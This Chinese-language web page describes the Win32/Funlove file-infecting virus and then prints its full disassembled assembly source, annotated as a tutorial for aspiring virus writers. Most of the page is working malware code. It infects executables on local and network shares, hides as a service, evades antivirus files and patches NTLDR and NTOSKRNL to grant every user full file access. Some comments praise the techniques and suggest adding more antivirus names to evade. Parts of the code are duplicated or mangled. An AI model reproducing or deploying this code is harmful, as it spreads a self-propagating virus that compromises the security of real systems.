fun love
fun love，病毒。名字win32.funlove4608（40文件型病毒99），病毒体内有funlovingcriminal的字符，驻留内存，感染exe,scr,ocx三类文件，局域网传播，不感染amon,avp3,fpr,navw,scan打头的文件。
知识库编号：RSV0512264
内容分类：适用操作系统
关键词：Funlove
：Windows 操作系统
适用操作系统补丁版本：全部补丁适用
关于Funlove病毒的介绍。
这是WIN32类型的病毒，它可以感染Windows 9x 和Windows NT 4.0操作系统。它感染所有WIN32类型的文件（PE文件），如Windows 和 Program Files 目录及其子目录中的扩展名为.EXE,.SCR和.OCX 的文件。该病毒搜索所有具有写访问的网络共享文件夹并感染那里的所有的文件。该病毒同时能够修补NT环境的完整性检测，以便能够感染系统文件。
病毒中有'~Fun Loving Criminal~'字样。该病毒没有故意的破坏性，但是由于NT系统安全性问题而可能造成的破坏还是应当引起注意的。
同一个简单的添加一样，Win32/Funlove.4099将它的代码复制到宿主文件的最后一个扇区的结尾，然后，它修改PE文件头信息以显示新的扇区大小，使扇区的特征适应病毒的需要，同时病毒修改原文件入口点的程序代码以便执行病毒代码。
当一个染毒程序被运行，病毒代码程序获得系统控制权，Win32/Funlove.4099 病毒在系统目录下创建FLCSS.EXE文件，并从染毒宿主文件的最后提取出病毒代码，将其写入该文件中，然后FLCSS.EXE被执行。
如果是在NT的许可权限下运行，FLCSS.EXE会将自身像一个服务程序一样安装到NT机器上。它会以FLC显示在标准的NT服务列表中，并且被设置为在每次启动时自动运行此服务。在Windows 9X下，它像一个隐含程序一样运行，在任务列表中是不可见的。
在病毒程序第一次运行时，该病毒会按照一定的时间间隔，周期性地检测每一个驱动器上的EXE，SCR（屏保程序）和OCX（ActiveX control）文件，找到相应的文件就感染它们。它还搜索在网络上可使用的共享资源，并感染任何有访问权限的同一类型的文件。因此，它可以在机器间完全开放权限的共享文件上非常快地传播。该病毒检测以下文件名且不感染它们：ALER*,AMON*,_AVP*,AVP3*,AVPM*,FPR*,NAVW*,SCAN*,SMSS*,DDHE*,DPLA*,MPLA*。
尽管该病毒对数据没有直接的破坏性，但是在NT下，Win32/Funlove.4099 病毒还是对NTOSKRNL.EXE 文件做了一个小的修改（patch），使得文件的许可请求总是返回允许访问（access allowed），这意味着被感染机器的安全已受到了极大地威胁。只要是在被修改的机器上，所有的用户都拥有了对每一个文件的完全控制访问权，即使是在系统中可能拥有最低权限的GUEST，也能读取或修改所有文件，包括通常只有管理员才能访问的文件。在NT启动时，NTLDR将检测NTOSKRNL.EXE 的完整性，所以病毒也修改NTLDR，因此NTLDR将允许系统加载修改后的NTOSKRNL文件。这种修改只能在某些NT服务包（rvice packs）中起作用，但是不管当前机器的SP级别病毒都会申请修改程序。在感染FLC病毒的NT机器上清除病毒后，需要用备份文件对这些被修改的文件进行恢复，或者重新安装这些文件。
如果FLCSS.EXE 运行在DOS下，病毒将显示'~Fun Loving Criminal~'字串，然后它试图通过键盘控制器重新启动系统。这大概是希望Windows被加载且病毒可能有另一个机会去执行。这种尝试经常失败，而计算机则被锁。
-----病毒源码----
；*******************************************************************
； Flcss.asm
；
； disasm by Code Demon
；
； Code Demon Virus Dreaming Factory
；
；*******************************************************************
.586
ASSUME CS:CODE,DS:CODE
CODE SEGMENT USE32
VSize equ offt VEnd - VStart
Phys_VSize equ 1000
main:
；*******************************************************************
；开始代码
；*******************************************************************
VStart:
call GetDelta ；此子程序用于取得病毒在内存中的开始地址，是绝大
；多数病毒都要用到的经典技术只一，对于写一些加密
；的软件有很大的帮助，莱鸟必看
lea esi,[offt HostCode + ebx]
mov edi,[esp]
sub edi,08
mov [esp],edi
movsd
movsd
push dword ptr [esp + 04]
call RelocKernel32 ；重定位Kernel32
or eax,eax
jz short Exit
cmp byte ptr [offt OS + ebx],00；判断操作系统的类型
jnz short NT_Srv
call Create9xProcess ；建立WIN9X进程
ret
NT_Srv: call CreateNTService ；建立NT服务
Exit: ret
；**********************************************************************
；建立NT服务的子程序
；**********************************************************************
CreateNTService:
call RelocAdvapi32
or eax,eax
jz short CNT_Failed
push 02
push 00
push 00 ; 取服务管理器的句柄
call OpenSCManagerA
or eax,eax
jz short CNT_Failed
mov SCM_Handle,eax
call CreateExecutable ；建立FLCSS.EXE,
or eax,eax ; 已经驻留内存就退出.
jz short CNT_Exit
mov edi,0F01FF
lea esi,offt [Service + ebx]
push edi
push esi
push SCM_Handle
call OpenServiceA
or eax,eax
jnz short CNT_Run
xor eax,eax
push eax
push eax
push eax
push eax
push eax
lea eax,[offt Buffer1 + ebx] ; flcss.exe
push eax
push 01 ;错误代码
push 02 ; 开始
push 20 ; 类型
push edi
push 00
push esi
push SCM_Handle ；句柄
call CreateServiceA ；建立服务
or eax,eax
jz short CNT_Failed
CNT_Run:
push 00
push 00
push eax
call StartServiceA ；开始服务
or eax,eax
jnz short CNT_Exit
CNT_Failed:
call StartInfectionThread ；传染子程序
CNT_Exit:
ret
；************************************************************
；建立WIN9X进程的子程序
；************************************************************
Create9xProcess:
；注意了：生成FLCSS.EXE，很多人的机子杀不绝，就是因为它在作怪.
call CreateExecutable
or eax,eax
jz short P9x_Exit
P9x_00:
xor eax,eax
lea edi,[offt Buffer2 + ebx]
push edi
push edi
mov ecx,040
repz stosd
mov cl,06
push eax
loop $ - 1
lea esi,[offt Buffer1 + ebx]
push esi
push 00
call CreateProcessA ；创建进程
or eax,eax
jnz short P9x_Exit
P9x_Failed:
call StartInfectionThread；传染子程序
P9x_Exit:
ret
************************************************************
；注意了：生成FLCSS.EXE，很多人的机子杀不绝，就是因为它在作怪.
************************************************************
CreateExecutable:
lea edi,[offt Buffer1 + ebx]
push edi
push 104
push edi
call GetSystemDirectoryA ；取得系统目录
add edi,eax
mov al,''
stosb
lea esi,[offt Process + ebx]
movsd
movsd
movsd
push 02
call OpenFile
cmp eax,-1
jz short CE_Exit
mov c_FileHandle,eax
lea edi,[offt Ⅵmports + ebx] ；清除 import
mov eax,-1
stosd
stosd
lea edi,[offt Kernel32_Relocated + ebx] ；第二个 import
mov eax,[edi - 8]
stosd
push 00
lea esi,c_BytesWritten
push esi
push 0200
push ebx
push c_FileHandle
call WriteFile ; 写文件头
push 00
push esi
push 1000
push ebx
push c_FileHandle
call WriteFile ; 写入病毒主体
push c_FileHandle
call CloHandle ；关闭文件
CE_Exit:
inc eax
ret
；***************************************************************
；以下应该是病毒的服务程序
；***************************************************************
VService:
call GetDelta
push dword ptr [esp]
call RelocKernel32
or eax,eax
jz VS_Exit
cmp byte ptr [offt OS + ebx],00 ；操作系统的类型
jz short W9x_Service_Register ；注册WIN9X服务
WNT_Service_Hacknowledge:
call RelocAdvapi32 ；重定位Advapi32
or eax,eax
jz VS_Exit
lea esi,[offt Buffer1 + ebx]
xor eax,eax
lea ecx,[offt Service + ebx]
lea edx,[offt ServiceDispatcher + ebx]
mov [esi],ecx
mov [esi + 04],edx
mov [esi + 08],eax
mov [esi + 0C],eax ; 将控制权返回给调用者
push esi
call StartServiceCtrlDispatcherA
W9x_Service_Register:
lea esi,[offt USER32_Name + ebx]
push esi
call LoadLibraryA
lea esi,[offt RegisterClassA+ ebx]
push esi
push eax
call GetProcAddress ；取进程的地址
or eax,eax
jz short VS_00
mov [esi - 06],eax
lea esi,[offt Buffer1 + ebx]
mov edi,esi
xor eax,eax
mov ecx,0A
repz stosd
mov dword ptr [esi + 04],-1
mov dword ptr [esi + 10],400000 ; WINDOWS9X的基址
lea eax,[offt Service + ebx]
mov [esi + 24],eax
push esi
call RegisterClassA ; 这里非常重要
lea esi,[offt RegisterServiceProcess+ ebx]
push esi
push dword ptr [offt Kernel32_Ba + ebx]
call GetProcAddress
or eax,eax
jz short VS_00
mov [esi - 06],eax
call GetCurrentProcessId ；取当前进程的ID
；注册为服务
call GetCurrentProcessId ；取当前进程的ID
；注册为服务进程，防止被用户
push 01 ；用CTRL+ALR+DEL从任务管理器中发现
push eax
call RegisterServiceProcess
push 8000 ; 延时
call Sleep
VS_00:
call StartInfectionThread
VS_Exit:
ret
；*************************************************************
；NT服务子程序
；*************************************************************
ServiceDispatcher:
call GetDelta
lea esi,[offt ServiceHandler + ebx]
lea edi,[offt Service + ebx]
push esi
push edi
call RegisterServiceCtrlHandlerA
mov Service_Handle,eax
lea esi,[offt Buffer1 + ebx]
mov edi,esi
mov ecx,06
xor eax,eax
repz stosd
mov dword ptr [esi],10
mov dword ptr [esi + 04],04
mov dword ptr [esi + 08],07
push esi
push Service_Handle ；告诉WINDOWS服务已经正确的运行
call SetServiceStatus
push 8000
call Sleep
call StartInfectionThread ；建立进程
ret
ServiceHandler:
ret ; 当管理员关闭服务时，提示系统出错！好东西！！！
；*****************************************************************
；此子程序用于建立线程
；*****************************************************************
StartInfectionThread:
call GetTickCount
mov [offt Rand + ebx],eax
lea eax,ThreadId
push eax
push 0
push 0
lea eax,[offt VThread + ebx]
push eax
push 0
push 0
call CreateThread
ret
；******************************************************************
；病毒线程
；******************************************************************
VThread:
call GetDelta
call InfectDrives ；感染本地文件
push 60000
call Sleep
call GetRand
and al,1F
jnz short VThread
call InfectNetwork ；感染网络文件
jmp short VThread
；***********************************************************************
；通过网络传染的子程序，值得借鉴
；***********************************************************************
InfectNetwork:
lea eax,[offt MPR_Name + ebx]
push eax
call LoadLibraryA
or eax,eax
jz short INet_Failed
push eax
lea esi,[offt MPR_Functions + ebx]
push esi
call DLL_Relocate
or eax,eax
jz short INet_Failed
push 00
call NetSearch
INet_Failed:
ret
；******************************************************************
；此子程序用于测试驱动器是否有效
；******************************************************************
InfectDrives:
push esi
call GetTickCount
mov [offt Tick + ebx],eax
lea esi,[offt Buffer1 + ebx]
mov dword ptr [esi],' :+ ebx - offt VStart'
ID_TestDrive:
mov byte ptr [esi + 03],00
push esi
call GetDriveTypeA ；取驱动器类型
cmp al,03 ；硬盘?
jz short ID_DriveOk
cmp al,04 ;网络驱动器
jnz short ID_Invalid
ID_DriveOk:
add esi,03
push esi
call BlownAway
push esi
call FileSearch ；查找文件
sub esi,03
ID_Invalid:
mov al,[offt Buffer1 + ebx]
inc al
mov [offt Buffer1 + ebx],al
cmp al,'Z'
jna short ID_TestDrive
pop esi
ret
；******************************************************************
；查找计算机
；******************************************************************
NetSearch :
mov EnumBufferSize,4000
or EnumNB_Objects,-1
lea eax,WNetStructAddr
push eax
push WNetStructAddr
push 0
push 0
push 2
call WNetOpenEnumA
or eax,eax
jnz NET_Clo
push 04
push 1000
push 4000
push 00
call VirtualAlloc
or eax,eax
jz short NET_Clo
mov EnumBufferAddr,eax
NET_00:
mov esi,EnumBufferAddr
lea eax,EnumBufferSize
push eax
push esi
lea eax,EnumNB_Objects
push eax
push WNetStructAddr
call WNetEnumResourceA
or eax,eax
jnz short NET_Free
mov ecx,EnumNB_Objects
or ecx,ecx
jz short NET_00
NET_01:
push ecx
push esi
mov esi,[esi + 14] ; 计算机名
or esi,esi
jz short NET_03
cmp word ptr [esi],0041 ; 是否为软盘
jz short NET_03
lea edi,[offt Buffer1 + ebx]
NET_02:
movsb
cmp byte ptr [esi],00
jnz short NET_02
mov al,''
stosb
push edi
call BlownAway
push edi
call FileSearch
NET_03:
pop esi
mov eax,[esi + 0C]
and al,2
cmp al,2
jnz short NET_04
push esi
call NetSearch
NET_04:
add esi,20
pop ecx
loop NET_01
jmp short NET_00
NET_Free:
push 8000
push 00
push EnumBufferAddr
call VirtualFree
NET_Clo:
push WNetStructAddr
call WNetCloEnum
ret
；*************************************************************************
；查找文件子程序，这些跟以前DOS下没什么区别，
；
；我还是喜欢用IFS_HOOK，可以做到全隐形哦，那感觉就是一个字--爽！ ^_^
；*************************************************************************
FileSearch:
mov eax,CurrentDirEnd
mov dword ptr [eax],002A2E2A ; *.*
lea edi,[offt Buffer2 + ebx]
lea esi,[offt Buffer1 + ebx]
push edi
push esi
call FindFirstFileA ；找第一个文件
cmp eax,-1
jz short RS_Exit
RS_00:
mov SearchHandle,eax
RS_01:
test byte ptr [edi],10 ; 测试是目录还是文件
jz short FileTest
RS_Directory:
cmp byte ptr [edi + 2C],'.'
jz short RS_Next
mov esi,edi
add esi,2C
mov edi,CurrentDirEnd
RSD_00:
movsb
cmp byte ptr [esi],0
jnz short RSD_00
mov al,''
stosb
push edi
call FileSearch
RS_Next:
lea edi,[offt Buffer2 + ebx]
push edi
push SearchHandle
call FindNextFileA ；查找下一个文件
or eax,eax
jnz short RS_01
push SearchHand
RS_Next:
lea edi,[offt Buffer2 + ebx]
push edi
push SearchHandle
call FindNextFileA ；查找下一个文件
or eax,eax
jnz short RS_01
push SearchHandle
call FindClo
RS_Exit:
ret
；********************************************************************
；没什么新意，略过吧
；********************************************************************
FileTest:
mov edx,[edi + 2C]
or edx,20202020
xor edx,61F81F61
lea esi,[offt SkipNames + ebx] ; 跳过一些反病毒软件的感染
mov ecx,0C
FT_00:
lodsd
cmp edx,eax
jz short FT_Exit
loop FT_00
；************************************************************************
；注意拉，
；************************************************************************
mov esi,edi
add esi,2C
FT_01:
lodsb
or al,al
jnz short FT_01
mov eax,[esi - 4] ; 扩展名判断
or eax,20202020
cmp eax,' xco' ；控件
jz short FT_02
cmp eax,' rcs' ;屏幕保护文件
jz short FT_02
cmp eax,' exe' ；标准的EXE文件
jnz short FT_Exit
FT_02:
mov eax,[edi + 20] ; 文件小于2000的就不感染
cmp eax,2000
jc short FT_Exit
cmp al,03 ; 检测是否已经感染
jz short FT_Exit
lea esi,[offt Buffer1 + ebx] ; 取文件名和路径
lea edi,[offt Buffer3 + ebx]
push edi
mov ecx,CurrentDirEnd
sub ecx,esi
repz movsb
lea esi,[offt Buffer2 + ebx]
add esi,2C
FT_03:
movsb
cmp byte ptr [esi - 1],0
jnz short FT_03
call InfectFile ；干活了，
FT_Exit:
jmp RS_Next
；**********************************************************************
；感染文件子程序
；**********************************************************************
InfectFile:
push i_Filename
push 03 ; 打开文件
call OpenFile
cmp eax,-1
jz IN_Exit
mov i_FileHandle,eax
push 00
push eax
call GetFileSize ；取文件大小，用于以后还原
mov i_FileSize,eax
cmp al,03 ; 是否感染
jz IN_Exit
lea edi,[offt Buffer3 + ebx]
push 00
lea esi,i_BytesRead
push esi
push 2000
push edi
push i_FileHandle
call ReadFile
；**************************************************************************
；以下的程序跟文件头有关，建议没基础者找一些相关资料看看
；**************************************************************************
cmp word ptr [edi],5A4Dh ;DOS文件头，开始有点印象了吧
jnz IN_CloFile
cmp word ptr [edi + 18],0040 ；是否为WINDOWS文件，此处u003e=40H，则为WINDOWS文件，
u003c40H则为DOS文件
jnz IN_CloFile
cmp dword ptr [edi + 3C],1C00 ; DOS文件头的大小
ja IN_CloFile
add edi,[edi + 3C] ；指向PE或NE文件头
mov eax,[edi]
cmp eax,00004550 ;PE文件吗?
jnz IN_CloFile ；此步必须，因为WIN3.X的18H的值也大于等于40H
cmp word ptr [edi + 5C],2 ; GUI????
jnz IN_CloFile
mov esi,edi
add esi,18
add si,[edi + 14] ; 将ESI指向第一个节表
push esi
mov eax,[edi + 28] ; 查找包含PE的节表
IN_00:
mov ecx,[esi + 0C]
add ecx,[esi + 08]
cmp eax,ecx
jc short IN_01
add esi,28
jmp short IN_00
IN_01:
sub eax,[esi + 0C]
add eax,[esi + 14]
mov i_EP_Offt,eax
or [esi + 24],80000000 ; 将它改为可写，这里是WINDOWS跟
；DOS在程序和数据段上的一个重要改变
；也是写WINDOWS病毒要注意的地方之一
pop esi
xor ecx,ecx
mov cx,[edi + 06]
dec ecx
mov eax,ecx
mov edx,28
mul edx
add esi,eax ; ESI指向最后一个节表
mov eax,[esi + 24]
cmp al,80 ; 是否已经初始化
jz IN_CloFile
or eax,8C000000 ; 将它改为可写，
and eax,not 12000000 ; 不共享，不可丢弃
mov [esi + 24],eax
mov ecx,i_FileSize ；这里好象跟SFX有点关系
mov edx,ecx
mov eax,ecx
clc
shr eax,03
sub edx,eax
sub edx,[esi + 14]
jc short IN_02
sub edx,[esi + 10]
jnc IN_CloFile
IN_02: ; 重新计算节的长度
mov edx,[esi + 08]
sub ecx,[esi + 14]
jc short IN_03
cmp edx,ecx
ja short IN_03
mov edx,ecx
IN_03:
test edx,00000FFF
jz short IN_04
and edx,0FFFFF000
add edx,1000
IN_04:
mov ecx,edx
add ecx,[esi + 0C]
mov eax,ecx
add eax,4000
mov [edi + 50],eax ; 新的长度
sub ecx,[edi + 28]
add ecx,offt VStart - 100 - 08
mov i_HostDep32,ecx
mov eax,edx
add eax,4000 ; 改变虚拟大小
mov [esi + 08],eax
mov eax,edx
add eax,[esi + 14]
mov i_VirusOfft,eax
add edx,1000 ; 改变物理大小
mov [esi + 10],edx
add edx,[esi + 14]
add edx,03
push i_FileHandle
push edx
call MapFile
or eax,eax
jz short IN_CloFile
mov i_MapHandle,eax
push eax
call ViewMap
or eax,eax
jz short IN_CloMap
mov edx,eax
lea esi,[offt Buffer3 + ebx] ; 写PE文件头
mov edi,edx
mov ecx,2000
repz movsb
lea edi,[offt HostCode + ebx]
mov esi,i_EP_Offt
add esi,edx
movsd
movsd
mov edi,esi ; 设置CALL GS:Virus
sub edi,08
mov eax,00E8659090
stosd
mov eax,i_HostDep32
stosd
mov edi,edx
mov eax,i_FileSize
mov ecx,i_VirusOfft
sub ecx,eax
jna short IN_05
add edi,eax
xor al,al
repz stosb
IN_05:
mov esi,ebx ；写入病毒主体
mov edi,edx
add edi,i_VirusOfft
mov ecx,VSize
repz movsb
mov ecx,Phys_VSize - VSize + 3
repz stosb
push edx
call UnmapViewOfFile
IN_CloMap:
push i_MapHandle
call CloHandle ；关闭
call Wait_A_Little ；延时
IN_CloFile:
lea esi,[offt Buffer2 + 14 + ebx] ; 恢复文件的时间
push esi
sub esi,08
push esi
sub esi,08
push esi
push i_FileHandle
call SetFileTime
push i_FileHandle
call CloHandle ；关闭文件
IN_Exit:
ret
；********************************************************************************
；查找GetProcAddress 的子程序
；********************************************************************************
Whereis_GPA:
lea esi,[offt GPA_Sigs + ebx]
mov byte ptr [offt OS + ebx],00
mov eax,w_Kernel32
and eax,0FFF00000
cmp eax,0BFF00000
jnz short OS_WinNT?
OS_Win9x:
mov edi,0BFF70000
jmp short WG_00
OS_WinNT?:
inc byte ptr [offt OS + ebx]
add esi,08
cmp eax,077F00000
jnz short OS_Win2K?
mov edi,eax
jmp short WG_00
OS_Win2K?:
inc byte ptr [offt OS + ebx]
add esi,08
cmp eax,077E00000
jnz short WG_Failed
mov edi,077E80000
WG_00:
mov edx,edi
mov ecx,20000
WG_01:
push ecx
mov ecx,08
push esi
push edi
repz cmpsb
pop edi
pop esi
pop ecx
jz short WG_02
inc edi
loop WG_01
WG_Failed:
xor eax,eax
jmp short WG_03
WG_02:
add edi,03
mov [offt GetProcAddress + 1 + ebx],edi
mov eax,edx
mov [offt Kernel32_Ba + ebx],eax
WG_03:
ret
；***************************************************************************
；DLL 重定位子程序
；**************************************************************************
DLL_Relocate:
mov esi,DLL_Func
DR_00:
mov eax,esi
add eax,07
push eax
push DLL_Ba
call GetProcAddress
or eax,eax
jz short DR_03
DR_01:
mov [esi + 1],eax
add esi,07
DR_02:
lodsb
or al,al
jnz short DR_02
cmp byte ptr [esi],0B8
jz short DR_00
DR_03:
ret
；**************************************************************************
；修改NTLDR，这可是Funlove的必杀技噢，虽然我不喜欢这种做法，但还是看看吧
；**************************************************************************
BlownAway:
lea esi,[offt NTLDR + ebx]
mov edi,DirEnd
movsd
movsd
lea edi,[offt Buffer1 + ebx]
lea esi,[offt NT4_NTLDR + ebx]
cmp byte ptr [offt OS + ebx],01
jz short BA_00
add esi,10
BA_00:
push edi
push esi
push 05
call PatchFile
lea esi,[offt NTOSKRNL + ebx]
mov edi,DirEnd
BA_01:
movsb
cmp byte ptr [esi - 1],00
jnz short BA_01
lea edi,[offt Buffer1 + ebx]
lea esi,[offt NT4_NTOSKRNL + ebx]
cmp byte ptr [offt OS + ebx],01
jz short BA_02
add esi,18
BA_02:
push edi
push esi
push 09
call PatchFile
ret
PatchFile:
push p_Filename
push 03 ; 打开文件
call OpenFile
cmp eax,-1
jz short PA_Exit
mov p_FileHandle,eax
push 00
push eax
call GetFileSize ；取文件大小
mov p_FileSize,eax
push p_FileHandle
push eax
call MapFile
or eax,eax
jz short PA_CloFile
mov p_MapHandle,eax
push eax
call ViewMap
or eax,eax
jz short PA_CloMap
mov edx,eax
mov edi,eax
mov esi,p_PatchAddr
mov ecx,p_FileSize
PA_00:
push ecx
push esi
push edi
mov ecx,p_PatchSize
repz cmpsb
pop edi
pop esi
pop ecx
jz short PA_01
inc edi
loop PA_00
jmp short PA_Unmap
PA_01:
mov ecx,p_PatchSize
add esi,ecx
repz movsb
PA_Unmap:
push edx
call UnmapViewOfFile
PA_CloMap:
push p_MapHandle
call CloHandle
PA_CloFile:
push p_FileHandle
call CloHandle ；关闭文件
PA_Exit:
ret
；************************************************************************
；此子程序用于取病毒在内存中的开始地址，经典技术
；************************************************************************
GetDelta:
call delta
delta:
pop ebx
sub ebx,offt delta - VStart
ret
；*************************************************************************
；以下应该是重定位Kernel32的子程序，WINDOWS病毒惯用的手法
；************************************************************************
RelocKernel32:
push r_Kernel32
call Whereis_GPA
or eax,eax
jz short RK_00
push eax
lea esi,[offt Kernel32_Functions + ebx]
push esi
call DLL_Relocate
RK_00:
ret
；***********************************************************************
；以下是重定位Advapi32的子程序
；***********************************************************************
RelocAdvapi32:
lea eax,[offt ADVAPI32_Name + ebx]
push eax
call LoadLibraryA
or eax,eax
jz short RA_00
push eax
lea esi,[offt ADVAPI32_Functions + ebx]
push esi
call DLL_Relocate
RA_00:
ret
；********************************************************************
；打开文件子程序
；*********************************************************************
OpenFile:
push 20
push o_Filename
call SetFileAttributesA
push 00
push 80 ; 普通属性
push o_OpenMode
push 00
push 00 ; 不共享，
push 0C0000000 ; 读写方式
push o_Filename
call CreateFileA
ret
；*********************************************************************
；建立文件影象，找点资料看看吧
；*********************************************************************
MapFile:
push 00
push m_FileSize
push 00
push 04
push 00
push m_FileHandle
call CreateFileM
；*********************************************************************
；建立文件影象，找点资料看看吧
；*********************************************************************
MapFile:
push 00
push m_FileSize
push 00
push 04
push 00
push m_FileHandle
call CreateFileMappingA
ret
ViewMap:
push 00
push 00
push 00
push 02
push v_MapHandle
call MapViewOfFile
ret ;*******************************************************************
；延时，没什么说的了
；***********************************************************************
Wait_A_Little:
call GetTickCount
sub eax,[offt Tick + ebx]
cmp eax,4000
jc short WAL_00
push 16000
call Sleep
call GetTickCount
mov [offt Tick + ebx],eax
WAL_00:
ret
GetRand:
push ecx
push edx
mov eax,[offt Rand + ebx]
xor edx,edx
mov ecx,7FFFFFFF
mul ecx
inc eax
mov ecx,0FFFFFFFBh
div ecx
mov eax,edx
mov [offt Rand + ebx],eax
pop edx
pop ecx
ret
；*********************************************************************
；以下是一些数据
；*********************************************************************
HostCode db 8 dup (?)
GPA_Sigs:
W9x db 0C2,04,00,57,6A,22,2Bh,0D2
NT4 db 0C2,04,00,55,8Bh,4C,24,0C
W2K db 00F,00,00,55,8Bh,0ECh,51,51
NTLDR db 'NTLDR',0
NT4_NTLDR db 3Bh,46,58,74,07 ;WINDOWS_NT4的NTLDR的标志
db 3Bh,46,58,0EBh,07
W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07 ;WIN2K的NTLDR的标志
NTOSKRNL db 'WINNTSystem32ntoskrnl.exe',0
NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ；标志
db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00
W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28 ；同上
db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28
；***********************************************************************
；以下是一些杀毒软件的文件不感染，你可以加点国产的杀毒软件的名字，
；***********************************************************************
SkipNames:
dd 139D7300h ; aler
dd 0F977200h ; amon
dd 118E7E1Eh ; _avp
dd 52886900h ; avp3
dd 0C886900h ; avpm
dd 13883207h ; f-pr
dd 168E7E0Fh ; navw
dd 0F997C12h ; scan
dd 128B7212h ; smss
dd 04907B05h ; ddhe
dd 00946F05h ; dpla
dd 00946F0Ch ; mpla
Process db 'flcss.exe',0
Service db 'FLC',0
； Import节表
Ⅵmports:
dd offt Kernel32_Pointers
dd -1,-1
dd offt Kernel32_Name
dd offt Kernel32_Relocated
db 14 dup (0)
Kernel32_Pointers dd offt Kernel32_Beep
Kernel32_Relocated dd offt Kernel32_Beep
Kernel32_Beep db,?,'Beep',0
；*************************************************************************
；病毒要调用的一些API，找点资料啃一啃吧，MASM32里的INC文件你能啃完的话，
你就是绝顶高手了，
；
；注：绝顶高手--------没有头发的高手
；*************************************************************************
Kernel32_Name db 'KERNEL32.dll',0
Kernel32_Functions:
CloHandle: db 0B8,4 dup(?),0FF,0E0,'CloHandle',0
CreateFileA: db 0B8,4 dup(?),0FF,0E0,'CreateFileA',0
CreateFileMappingA: db 0B8,4 dup(?),0FF,0E0,'CreateFileMappingA',0
CreateProcessA: db 0B8,4 dup(?),0FF,0E0,'CreateProcessA',0
CreateThread: db 0B8,4 dup(?),0FF,0E0,'CreateThread',0
FindFirstFileA: db 0B8,4 dup(?),0FF,0E0,'FindFirstFileA',0
FindNextFileA: db 0B8,4 dup(?),0FF,0E0,'FindNextFileA',0
FindClo: db 0B8,4 dup(?),0FF,0E0,'FindClo',0
GetCurrentProcessId: db 0B8,4 dup(?),0FF,0E0,'GetCurrentProcessId',0
GetDriveTypeA: db 0B8,4 dup(?),0FF,0E0,'GetDriveTypeA',0
GetFileSize: db 0B8,4 dup(?),0FF,0E0,'GetFileSize',0
GetProcAddress: db 0B8,4 dup(?),0FF,0E0,'GetProcAddress',0
GetTickCount: db 0B8,4 dup(?),0FF,0E0,'GetTickCount',0
GetSystemDirectoryA: db 0B8,4 dup(?),0FF,0E0,'GetSystemDirectoryA',0
LoadLibraryA: db 0B8,4 dup(?),0FF,0E0,'LoadLibraryA',0
MapViewOfFile: db 0B8,4 dup(?),0FF,0E0,'MapViewOfFile',0
ReadFile: db 0B8,4 dup(?),0FF,0E0,'ReadFile',0
SetFileAttributesA: db 0B8,4 dup(?),0FF,0E0,'SetFileAttributesA',0
SetFileTime: db 0B8,4 dup(?),0FF,0E0,'SetFileTime',0
Sleep: db 0B8,4 dup(?),0FF,0E0,'Sleep',0
UnmapViewOfFile: db 0B8,4 dup(?),0FF,0E0,'UnmapViewOfFile',0
VirtualAlloc: db 0B8,4 dup(?),0FF,0E0,'VirtualAlloc',0
VirtualFree: db 0B8,4 dup(?),0FF,0E0,'VirtualFree',0
WriteFile: db 0B8,4 dup(?),0FF,0E0,'WriteFile',0
；注：下面的API在WIN9X中是没有的
db 0
RegisterServiceProcess: db 0B8,4 dup(?),0FF,0E0,'RegisterServiceProcess',0
USER32_Name db 'USER32.dll',0
RegisterClassA: db 0B8,4 dup(?),0FF,0E0,'RegisterClassA',0
ADVAPI32_Name db 'ADVAPI32.dll',0
ADVAPI32_Functions:
OpenSCManagerA: db 0B8,4 dup(?),0FF,0E0,'OpenSCManagerA',0
OpenServiceA: db 0B8,4 dup(?),0FF,0E0,'OpenServiceA',0
CreateServiceA: db 0B8,4 dup(?),0FF,0E0,'CreateServiceA',0
StartServiceA: db 0B8,4 dup(?),0FF,0E0,'StartServiceA',0
StartServiceCtrlDispatcherA: db 0B8,4 dup(?),0FF,0E0,'StartServiceCtrlDispatcherA',0
RegisterServiceCtrlHandlerA: db 0B8,4 dup(?),0FF,0E0,'RegisterServiceCtrlHandlerA',0
SetServiceStatus: db 0B8,4 dup(?),0FF,0E0,'SetServiceStatus',0
MPR_Name db 'MPR.dll',0
MPR_Functions:
WNetOpenEnumA: db 0B8,4 dup(?),0FF,0E0,'WNetOpenEnumA',0
WNetEnumResourceA: db 0B8,4 dup(?),0FF,0E0,'WNetEnumResourceA',0
WNetCloEnum: db 0B8,4 dup(?),0FF,0E0,'WNetCloEnum',0
；病毒应该是在这里就结束了
vend:
Kernel32_Ba dd
Rand dd
Tick dd
OS db
ALIGN 100
Buffer1 db 200 dup (0) ; 此处应该是用于存放当前目录
Buffer2 db 200 dup (?)
Buffer3 db 2000 dup (?) ；此处用于存放读入的文件
CODE ENDS
END main
本文发布于:2022-11-15 21:11:50，感谢您对本站的认可！
本文链接：http://www.wtabcd.cn/fanwen/fan/83/488992.html
版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系，我们将在24小时内删除。
| 留言与评论（共有 0 条评论） |
